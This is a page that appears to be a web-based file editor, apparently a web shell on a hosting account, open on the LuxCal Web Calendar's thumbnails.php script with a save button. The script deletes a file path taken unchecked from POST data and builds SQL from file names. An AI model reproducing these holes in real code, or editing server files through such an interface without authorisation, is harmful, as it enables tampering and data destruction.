    <h3>/home/bparcsg/public_html/booking/pages/thumbnails.php düzenle</h3>
    <form method="post">
        <input type="hidden" name="filename" value="/home/bparcsg/public_html/booking/pages/thumbnails.php">
        <textarea name="content" style="width:100%;height:400px;">&lt;?php
/*
= view/manage thumbnails script =

This file is part of the LuxCal Web Calendar.
Copyright (C) 2009-2018 LuxSoft - www.LuxSoft.eu
License http://www.gnu.org/licenses/gpl.html GPL version 3

The LuxCal Web Calendar is distributed WITHOUT ANY WARRANTY.
*/

//sanity check
if (empty($lcV)) { exit('not permitted ('.substr(basename(__FILE__),0,-4).')'); } //launch via script only

function getTnList($path,$sort,$order) {
	global $tnSearch, $set;
	
  $fileList = array();
  if (!$files = scandir($path)) { return false; }
  foreach ($files as $fName) {
	if (strlen($fName) &gt; 4 and stripos($set['tnlTypes'],strtolower(substr($fName,-3))) !== false) {
			if (!empty($tnSearch) and stripos(substr($fName,0,-4),$tnSearch) === false) { continue; }
	  $fileList[] = array(
	    'name' =&gt; $fName,
	    'name-id' =&gt; $fName[4] != '~' ? $fName : substr($fName,5),
	    'size' =&gt; filesize($path.$fName),
	    'lastmod' =&gt; filemtime($path.$fName)
	    );
	}
  }
	$mulFactor = $order == 'a' ? 1 : -1;
	uasort($fileList,function($a,$b) use($sort,$mulFactor) {return (($a[$sort] &gt; $b[$sort]) ? 1 : -1) * $mulFactor;}); //sort on $sort-field
  return $fileList;
}

function showTnails($userID,$myTnails,$mayDel) {
	global $xx, $tnPath, $tnailList, $delLimit;

	$nofTnails = 0;
	foreach($tnailList as $tnail) {
		if (substr($tnail['name'],0,5) == str_pad($userID,4,'0',STR_PAD_LEFT).'~')  { //my thumbnails
			if (!$myTnails) { continue; }
		} else { //other thumbnails
			if ($myTnails) { continue; }
		}
		$fullName = str_replace(' ','%20',$tnail['name']); //deal with spaces
		$tnID = ($myTnails ? 'mTn' : 'oTn').++$nofTnails;
		$stH = dbQuery(&quot;SELECT `sDate`,`eDate`,`rType`,`rUntil`
			FROM `events`
			WHERE status &gt;= 0 AND `text1` LIKE '%{$fullName}%' OR `text2` LIKE '%{$fullName}%' OR `text3` LIKE '%{$fullName}%'&quot;);
		$lastUsed = '0000-00-00';
		while ($row = $stH-&gt;fetch(PDO::FETCH_ASSOC)) {
			if ($row['rType'] &gt; 0 and $row['rUntil'][0] == '9') { $lastUsed = '9999-99-99'; break; }
			if ($row['rType'] &gt; 0 and $row['rUntil'][0] != '9' and $lastUsed &lt; $row['rUntil']) { $lastUsed = $row['rUntil']; }
			if ($row['eDate'][0] != '9' and $lastUsed &lt; $row['eDate']) { $lastUsed = $row['eDate']; }
			if ($lastUsed &lt; $row['sDate']) { $lastUsed = $row['sDate']; }
		}
		$stH = null;
		$delX = '';
		if ($mayDel and $lastUsed[0] != '9' and ($lastUsed[0] == '0' or $lastUsed &lt; $delLimit)) { //may delete thumbnail
			$delX = &quot;\n&lt;span id='{$fullName}' onclick=\&quot;deleteTn(this,'{$xx['tns_del_tnail']}')\&quot;&gt;&amp;#10060;&lt;/span&gt;&quot;;
		}
		$lastUsed = $lastUsed[0] == '0' ? $xx['tns_not_used'] : ($lastUsed[0] == '9' ? $xx['tns_infinite'] : IDtoDD($lastUsed));
		echo &quot;&lt;div class='tnBox'&gt;
&lt;div id='{$tnID}' onclick=\&quot;toClipboard(this)\&quot;&gt;
&lt;input type='text' id='s{$tnID}' value=' {$fullName} '&gt;
&lt;img src='{$tnPath}{$fullName}' alt='{$tnID}'&gt;
&lt;p&gt;{$tnail['name-id']}&lt;br&gt;&quot;.IDtoDD(date('Y-m-d',$tnail['lastmod'])).&quot;&lt;br&gt;({$lastUsed})&lt;/p&gt;
&lt;/div&gt;{$delX}
&lt;/div&gt;\n&quot;;
	}
	if ($nofTnails == 0) {
		echo $xx['none'];
	}
}
/* image resize function
$file - file name to resize
$width - new image width
$height - new image height
$output - name of the new file (include path if needed)
$deleteOriginal - if true the original image will be deleted
$quality - enter 1-100 (100 is best quality) default is 100
*/
function resize_image($file,$width,$height,$output,$deleteOriginal = true,$quality = 100) {
 
	//setting defaults and meta
	list($widthOld, $heightOld, $imageType) = getimagesize($file);

	//calculating proportionality
	if      ($width  == 0)  $factor = $height/$heightOld;
	elseif  ($height == 0)  $factor = $width/$widthOld;
	else                    $factor = min($width / $widthOld, $height / $heightOld);
	$newWidth  = round($widthOld * $factor);
	$newHeight = round($heightOld * $factor);

	//loading image to memory
	switch ( $imageType ) {
		case IMAGETYPE_JPEG: $image = imagecreatefromjpeg($file); break;
		case IMAGETYPE_GIF: $image = imagecreatefromgif($file); break;
		case IMAGETYPE_PNG: $image = imagecreatefrompng($file); break;
		default: return false;
	}

	//this is the resizing/resampling/transparency-preserving magic
	$imageResized = imagecreatetruecolor($newWidth,$newHeight);
	if (($imageType == IMAGETYPE_GIF) || ($imageType == IMAGETYPE_PNG)) {
		$transparency = imagecolortransparent($image);
		$palletsize = imagecolorstotal($image);

		if ($transparency &gt;= 0 &amp;&amp; $transparency &lt; $palletsize) {
			$transparentColor = imagecolorsforindex($image,$transparency);
			$transparency     = imagecolorallocate($imageResized,$transparentColor['red'],$transparentColor['green'],$transparentColor['blue']);
			imagefill($imageResized,0,0,$transparency);
			imagecolortransparent($imageResized, $transparency);
		}
		elseif ($imageType == IMAGETYPE_PNG) {
			imagealphablending($imageResized, false);
			$color = imagecolorallocatealpha($imageResized,0,0,0,127);
			imagefill($imageResized,0,0,$color);
			imagesavealpha($imageResized,true);
		}
	}
	imagecopyresampled($imageResized,$image,0,0,0,0,$newWidth,$newHeight,$widthOld,$heightOld);

	//delete original, if needed
	if ($deleteOriginal) {
		@unlink($file);
	}
	
	//writing image according to type to the output destination and image quality
	switch ($imageType) {
		case IMAGETYPE_GIF:  imagegif($imageResized,$output); break;
		case IMAGETYPE_JPEG: imagejpeg($imageResized,$output,$quality); break;
		case IMAGETYPE_PNG:
			$quality = 9 - (int)((0.9*$quality)/10.0);
			imagepng($imageResized,$output,$quality);
			break;
		default: return false;
	}
	return true;
}

//here it starts

//get POST arguments
$tnSort = isset($_POST['tnSort']) ? $_POST['tnSort'] : 'n';
$tnOrder = isset($_POST['tnOrder']) ? $_POST['tnOrder'] : 'a';
$tnSearch = isset($_POST['tnSearch']) ? trim($_POST['tnSearch']) : '';
$tnOwrite = !empty($_POST['tnOwrite']) ? 1 : 0;

//init
$tnPath = './thumbnails/';
$nMsg = $eMsg = ''; //notice, error messages
$mayMng = $usr['tnPrivs'][0] == '2';
$sortOn = $tnSort == 'n' ? 'name-id' : 'lastmod';
$delLimit = date('Y-m-d',$nowTS-($set['tnlDelDays'] * 86400)); //date after which no delete allowed

//thumbnail to delete?
if (isset($_POST['delTn']) and file_exists(&quot;{$tnPath}{$_POST['delTn']}&quot;)) {
	unlink(&quot;{$tnPath}{$_POST['delTn']}&quot;);
	$tnail = $_POST['delTn'][4] == '~' ? substr($_POST['delTn'],5) : $_POST['delTn'];
	$nMsg .= &quot;{$xx['tns_tnail']} {$tnail} {$xx['tns_deleted']}&lt;br&gt;&quot;;
}

//thumbnails to upload?
if (!empty($_FILES['uplTnl'])) { //if file(s) uploaded, save files to thumbnails folder
	$nrUpload = 0;
	foreach($_FILES['uplTnl']['name'] as $k =&gt; $fName) {
		if ($fName) {
			if ($_FILES['uplTnl']['error'][$k] &gt; 1) { $eMsg .= &quot;{$fName} {$xx['tns_upload_error']}&lt;br&gt;&quot;; continue; }
			if (stripos($set['tnlTypes'],substr($fName,-4)) === false) { $eMsg .= &quot;{$fName} {$xx['tns_no_valid_img']}&lt;br&gt;&quot;; continue; }
			if ($_FILES['uplTnl']['error'][$k] == 1 or $_FILES['uplTnl']['size'][$k] &gt; ($set['maxUplSize'] * 1048570)) { $eMsg .= &quot;{$fName} {$xx['tns_file_too_large']}&lt;br&gt;&quot;; continue; } //max. $set['maxUplSize'] MB
			$tnName = $fName[4] == '~' ? substr($fName,5) : $fName; //remove possible userID prefix
			$tnfName = str_pad($usr['ID'],4,'0',STR_PAD_LEFT).'~'.$tnName; //add current userID prefix
			if ($tnOwrite or !file_exists(&quot;./thumbnails/{$tnfName}&quot;)) {
				move_uploaded_file($_FILES['uplTnl']['tmp_name'][$k],&quot;./thumbnails/{$tnfName}&quot;);
				$nrUpload++;
				$tnSize = getimagesize(&quot;./thumbnails/{$tnfName}&quot;);
				if ($tnSize[0] &gt; $set['tnlMaxW'] or $tnSize[1] &gt; $set['tnlMaxH']) { //width &amp; height
					$result = resize_image(&quot;./thumbnails/{$tnfName}&quot;,$set['tnlMaxW'],$set['tnlMaxH'],&quot;./thumbnails/{$tnfName}&quot;); //resize image
					if ($result) {
						$nMsg .= &quot;{$tnName} {$xx['tns_resized']}&lt;br&gt;&quot;;
					} else {
						$eMsg .= &quot;{$tnName} {$xx['tns_resize_error']}&lt;br&gt;&quot;;
					}
				}
			} else {
				$nMsg .= &quot;{$tnName} {$xx['tns_tn_exists']}&lt;br&gt;&quot;;
			}
		}
	}
	if ($nrUpload &gt; 0) {
		$nMsg .= &quot;{$nrUpload} {$xx['tns_tn_uploaded']}&lt;br&gt;&quot;;
	}
}

//get all thumbnails
$tnailList = getTnList($tnPath,$sortOn,$tnOrder);

//load page
echo &quot;&lt;div class='scrollBoxTn'&gt;\n&quot;;
echo &quot;&lt;div class='tnForm'&gt;\n&quot;;
echo &quot;&lt;form id='tnails' action='index.php' method='post' enctype='multipart/form-data'&gt;\n
	&lt;input type='hidden' name='lcI' value='{$lcI}'&gt;\n&quot;;
echo &quot;&lt;h3&gt;{$xx['tns_man_tnails']}&lt;/h3&gt;\n&quot;;
echo &quot;&lt;br&gt;\n&lt;table class='tnForm'&gt;\n&quot;;
echo &quot;&lt;tr&gt;\n&lt;td&gt;{$xx['tns_sort_by']}:&lt;/td&gt;
&lt;td&gt;&lt;input type='radio' id='tnSn' name='tnSort' value='n'&quot;.($tnSort == 'n' ? &quot; checked&quot; : '').&quot;&gt;&lt;label for='tnSn'&gt;{$xx['tns_name']}&lt;/label&gt;&lt;/td&gt;
&lt;td&gt;&lt;input type='radio' id='tnSd' name='tnSort' value='d'&quot;.($tnSort == 'd' ? &quot; checked&quot; : '').&quot;&gt;&lt;label for='tnSd'&gt;{$xx['tns_date']}&lt;/label&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&quot;;
echo &quot;&lt;tr&gt;\n&lt;td&gt;{$xx['tns_sort_order']}:&lt;/td&gt;
&lt;td&gt;&lt;input type='radio' id='tnOa' name='tnOrder' value='a'&quot;.($tnOrder == 'a' ? &quot; checked&quot; : '').&quot;&gt;&lt;label for='tnOa'&gt;{$xx['tns_ascending']}&lt;/label&gt;&lt;/td&gt;
&lt;td&gt;&lt;input type='radio' id='tnOd' name='tnOrder' value='d'&quot;.($tnOrder == 'd' ? &quot; checked&quot; : '').&quot;&gt;&lt;label for='tnOd'&gt;{$xx['tns_descending']}&lt;/label&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&quot;;
echo &quot;&lt;tr&gt;\n&lt;td&gt;{$xx['tns_search_fname']}:&lt;/td&gt;
&lt;td colspan='2'&gt;&lt;input type='text' name='tnSearch' id='tnSearch' value=\&quot;{$tnSearch}\&quot; maxlength='20' size='15'&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&quot;;
if ($mayMng) { //may upload tnails
	echo &quot;&lt;tr&gt;\n&lt;td&gt;{$xx['tns_upload_tnails']}:&lt;/td&gt;
&lt;td colspan='2'&gt;&lt;input type='file' id='uplTnl' name='uplTnl[]' accept='image/*' multiple&gt;&amp;nbsp;&amp;nbsp;({$xx['max']} {$set['maxUplSize']} MB)&lt;/td&gt;\n&lt;/tr&gt;\n&quot;;
	echo &quot;&lt;tr&gt;\n&lt;td&gt;&lt;/td&gt;
&lt;td colspan='2'&gt;&lt;input type='checkbox' id='tnOwrite' name='tnOwrite' value='1'&gt;&lt;label for='tnOwrite'&gt;{$xx['tns_overwrite']}&lt;/label&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&quot;;
}
echo &quot;&lt;/table&gt;\n&quot;;
echo &quot;&lt;br&gt;\n&quot;;
echo &quot;&lt;button type='submit' name='tnlExe' value='y'&gt;{$xx['submit']}&lt;/button&gt;&quot;;
echo &quot;&lt;/form&gt;\n&quot;;
if ($nMsg) {
	echo &quot;&lt;br&gt;&lt;p class='confirm'&gt;{$nMsg}&lt;/p&gt;\n&quot;;
}
if ($eMsg) {
	echo &quot;&lt;p class='error'&gt;{$eMsg}&lt;/p&gt;\n&quot;;
}
echo &quot;&lt;/div&gt;\n&quot;;
echo &quot;&lt;div class='tnHelp'&gt;\n&quot;;
echo &quot;&lt;h3&gt;{$xx['tns_man_tnails_instr']}&lt;/h3&gt;\n&quot;;
echo &quot;&lt;ul&gt;\n&lt;li&gt;{$xx['tns_help_general']}&lt;/li&gt;\n&quot;;
if ($mayMng) {
	$validExt = str_replace(',',', ',$set['tnlTypes']);
	echo &quot;&lt;li&gt;&quot;.str_replace(array('$1','$2','$3'),array($validExt,$set['tnlMaxW'],$set['tnlMaxH']),$xx['tns_help_upload']).&quot;&lt;/li&gt;\n&quot;;
}
if ($mayMng and $set['tnlDelDays'] != 0) {
	echo &quot;&lt;li&gt;&quot;.str_replace('$1',IDtoDD($delLimit),$xx['tns_help_delete']).&quot;&lt;/li&gt;\n&quot;;
}
echo &quot;&lt;/ul&gt;\n&lt;/div&gt;\n&quot;;
echo &quot;&lt;br class='clear'&gt;&lt;br&gt;&lt;h3 class='floatC'&gt;===== {$xx['tns_your_tnails']} =====&lt;/h3&gt;&quot;;
$mayDel = ($mayMng and $set['tnlDelDays'] != 0) ? $set['tnlDelDays'] : 0;
showTnails($usr['ID'],true,$mayDel);
if ($usr['tnPrivs'][1] &gt;= '1') { //view or manage all
	echo &quot;&lt;br class='clear'&gt;&lt;br&gt;&lt;h3 class='floatC'&gt;===== {$xx['tns_other_tnails']} =====&lt;/h3&gt;&quot;;
	$mayDel = ($usr['tnPrivs'][1] == '2' and $set['tnlDelDays'] != 0) ? $set['tnlDelDays'] : 0;
	showTnails($usr['ID'],false,$mayDel);
}
echo &quot;&lt;/div&gt;\n&quot;;
?&gt;
</textarea><br>
        <button type="submit" name="save_file">Kaydet</button>
    </form>
    <hr>
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